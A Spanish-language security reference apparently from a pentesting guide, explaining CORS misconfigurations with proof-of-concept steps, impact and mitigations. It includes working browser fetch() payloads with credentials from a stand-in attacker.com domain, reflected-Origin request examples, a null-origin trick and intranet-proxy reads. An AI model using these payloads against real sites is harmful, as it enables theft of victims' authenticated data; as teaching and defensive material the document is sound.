CORS



I. Descripción

CORS (Cross-Origin Resource Sharing) es un mecanismo del navegador que controla la emisión de solicitudes HTTP desde orígenes distintos al dominio principal. Extiende la llamada política de mismo origen (SOP, Same Origin Policy), que por defecto impide a un sitio web leer o interactuar con recursos de otro dominio, puerto o protocolo.

  • Objetivo CORS: Dar al servidor la capacidad de especificar que dominios externos pueden acceder a sus recursos y bajo que condiciones (métodos, credenciales, etc.)

  • Problema: La mala configuración CORS (aceptar cualquier origen * con credenciales, reflejar valores de Origin sin validación o permitir null) puede dar a un atacante la posibilidad de:

    • Realizar solicitudes autenticadas en nombre de la víctima (usando sus cookies o tokens)

    • Obtener o filtrar información sensible de la aplicación

    • Explotar endpoints internos o de intranet (si el navegador de la víctima está en la misma red)

    • Ejecutar combinaciones más complejas con ataques de tipo CSRF o XSS

IMPORTANTE

Configurar de buena manera las políticas CORS no validan un método de control contra CSRF. Es mas, si está mal configurado puede empeorar dicha vulnerabilidad.


II. PoC

1. Identificar configuración insegura

a. Revisar encabezados de respuesta en el servidor para detectar

  • Access-Control-Allow-Origin: * junto con Access-Control-Allow-Credentials: true

  • Encabezados que reflejan el valor suministrado en Origin sin validación, por ejemplo:

Access-Control-Allow-Origin: http://attacker.com
  • Listas blancas mal implementadas o patrones peligrosos (ej. *.mi-dominio.com que un atacante podría abusar con subdominios falsos)

  • Inclusión de null en la lista blanca (puede ser explotado con iframes en modo sandbox o URIs de tipo data:)

b. Solicitudes Preflight

  • Si la aplicación requiere métodos personalizados (PUT, DELETE) o cabeceras fuera de lo estándar, el navegador enviará primero un OPTIONS (preflight)

  • Observar respuestas del servidor:

    • Access-Control-Allow-Methods: PUT, POST, OPTIONS

    • Access-Control-Allow-Headers: X-Custom-Header

    • Access-Control-Allow-Credentials: true

  • Si el servidor no valida correctamente el método o las cabeceras, podría aceptar cualquier petición

2. Explotación base

a. Configuración vulnerable con Access-Control-Allow-Origin: * y credenciales

  • El servidor responde:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
  • Desde un dominio de control ejecutar

<script>
fetch('https://vulnerable-website.com/sensitive-data', {
  method: 'GET',
  credentials: 'include'
})
.then(response => response.text())
.then(data => console.log("Datos robados:", data));
</script>
  • El navegador de la víctima, si está autenticada en vulnerable-website.com, enviará sus cookies al hacer la petición y el ataque podrá leer la respuesta. Esto viola la política de mismo origen.

b. Reflejo dinámico del origen

  • El servidor toma el valor de la cabecera Origin y lo copia en Access-Control-Allow-Origin, sin comprobar si es un dominio confiable.

# REQUEST
GET /private-info HTTP/1.1
Host: vulnerable-website.com
Origin: http://attacker.com



# RESPONSE
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://attacker.com
Access-Control-Allow-Credentials: true
  • Permite cualquier dominio en la práctica. Nuevamente, usar fetch() o XMLHttpRequest con credentials: 'include'

c. Valor Origin: null

  • Algunas apps incluyen null en la lista blanca, pensando en facilitar desarrollo local.

  • Un atacante puede usar un iframe con sandbox o un data: URI, haciendo que el navegador envíe Origin: null.

  • Si el servidor devuelve Access-Control-Allow-Origin: null, se permite acceso entre orígenes para esa petición. El script embebido en el iframe o data URI leerá la respuesta.

d. Ataques contra Intranets (CORS sin credenciales)

  • Cuando Access-Control-Allow-Credentials no esté habilitado, si un sitio interno responde con Access-Control-Allow-Origin: *, un atacante externo podría usar el navegador de la víctima (conectado a la intranet) como proxy para leer información no autenticada en esos endpoints internos.

  • Ejemplo: fetch('http://intranet.company.local/info') desde un sitio malicioso, y si la respuesta no requiere sesión, se filtra contenido de la intranet.


3. Técnicas avanzadas

a. Explotación de XSS mediante CORS

  • Si un sitio A (con datos sensibles) confía en un sitio B (con XSS), un atacante inyecta JavaScript en B para acceder a recursos de A (debido a la relación de confianza definida por CORS)

    • Romper TLS para permitir un subdominio HTTP en la lista blanca posibilita a un atacante interceptar el tráfico no cifrado y usarlo para realizar peticiones a la aplicación principal HTTPS, obteniendo datos confidenciales

    • Errores en la lista blanca por coincidencias “parciales” como *.example.com pueden derivar en aceptar attacker.example.com

    • Aceptar example.com.evil.com por un fallo de validación de sufijo

b. Verificación Preflight deficiente

  • Si el servidor no filtra correctamente los métodos o cabeceras en las respuestas OPTIONS, se podrían autorizar peticiones inesperadas (por ejemplo, un método PUT que exponga datos).


4. Ejemplo

  • Endpoint Protegido: https://vulnerable-website.com/api/private

  • Respuesta del Servidor (mal configurado)

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
  • Script Malicioso en http://attacker.com

<script>
fetch('https://vulnerable-website.com/api/private', {
  method: 'GET',
  credentials: 'include'
})
.then(response => response.json())
.then(data => {
    console.log('Datos privados:', data);
    // O exfiltrar al servidor del atacante
});
</script>
  • Resultado: El navegador de la víctima envía la cookie de sesión al dominio vulnerable; el atacante lee el contenido de la respuesta y roba datos sensibles.


III. Impacto

Dependiendo del nivel de exposición de la aplicación y de los recursos accesibles, un CORS mal configurado puede causar:

  • Robo de información sensible (tokens, datos de usuario, claves API).

  • Ejecución de acciones no autorizadas en la cuenta del usuario (similar a CSRF, pero además leyendo la respuesta).

  • Abuso de APIs internas o servicios de intranet, usando el navegador de la víctima como proxy.

  • Compromiso de la confidencialidad y reputación de la empresa por fugas de datos.

  • Ampliación de otras vulnerabilidades: si un subdominio con XSS es de confianza, el atacante explota ese XSS para acceder a datos de otro dominio habilitado en la política CORS.


IV. Mitigación

  • Definir lista blanca explícita con dominios permitidos

Access-Control-Allow-Origin: https://dominio-especifico.com
  • Evitar usar comodines (*) en producción para recursos sensibles

  • No Combinar * y Access-Control-Allow-Credentials: true

  • Validar orígenes de forma estricta, revisando subdominios y evitando patrones como *.example.com

  • No incluir null a menos que sea imprescindible y esté controlado.

  • Mantener seguridad del lado servidor, exigiendo autenticación y autorización correcta para cada recurso

  • Evitar encadenamientos con XSS por confianza sobre dominio o subdominio vulnerable a XSS